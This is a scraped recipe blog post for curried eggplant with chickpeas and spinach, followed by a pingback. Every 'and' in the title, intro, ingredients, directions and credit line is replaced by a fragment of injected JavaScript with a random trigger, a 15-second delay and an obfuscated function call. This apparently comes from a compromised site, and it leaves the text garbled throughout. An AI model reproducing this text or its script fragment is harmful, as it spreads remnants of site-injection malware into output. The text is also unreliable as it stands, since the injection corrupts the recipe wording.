Curried Eggplant with Chickpeas andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Spinach

I’m sort of in denial that October is almost over andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and summer really is gone.  Fortunately, my favorite summer vegetable was still lingering at last weekend’s market andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and this yummy recipe was the perfect way to see it out.  Until next year!

200910-r-curried-eggplant

 

Curried Eggplant with Chickpeas andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Spinach

Ingredients:
2 large garlic cloves, minced
Kosher salt
2 teaspoons Madras curry powder
1/2 cup vegetable oil (grass-fed butter, coconut oil, or grapeseed oil would work here!)
1 medium eggplant (about 1 1/2 pounds), peeled andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and cut into 3/4-inch pieces
1 large onion, cut into 1/2-inch wedges
One 15-ounce can chickpeas, drained
1/4 cup finely julienned fresh ginger
Freshly ground pepper
One 5-ounce bag baby spinach (preferably organic)

Directions:
Preheat the oven to 425°. On a work surface, mash the garlic to a paste with a pinch of salt. In a large roasting pan, mix the paste with the curry powder andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and vegetable oil. Add the eggplant, onion, chickpeas andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ginger, season with salt andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and pepper andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and toss well. Spread the vegetables in an even layer andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and roast for about 30 minutes, stirring once or twice, until the eggplant andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and onion are tender. Stir in the spinach andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and roast just until wilted, about 2 minutes.

Recipe andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and photo credit: www.foodandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andwine.com

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delicious cleansing meals andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and much-needed detox self-care with our
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One Response to Curried Eggplant with Chickpeas andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Spinach

  1. Pingback: Curried Eggplant with Chickpeas and Spinach | Yin Yang Yogis

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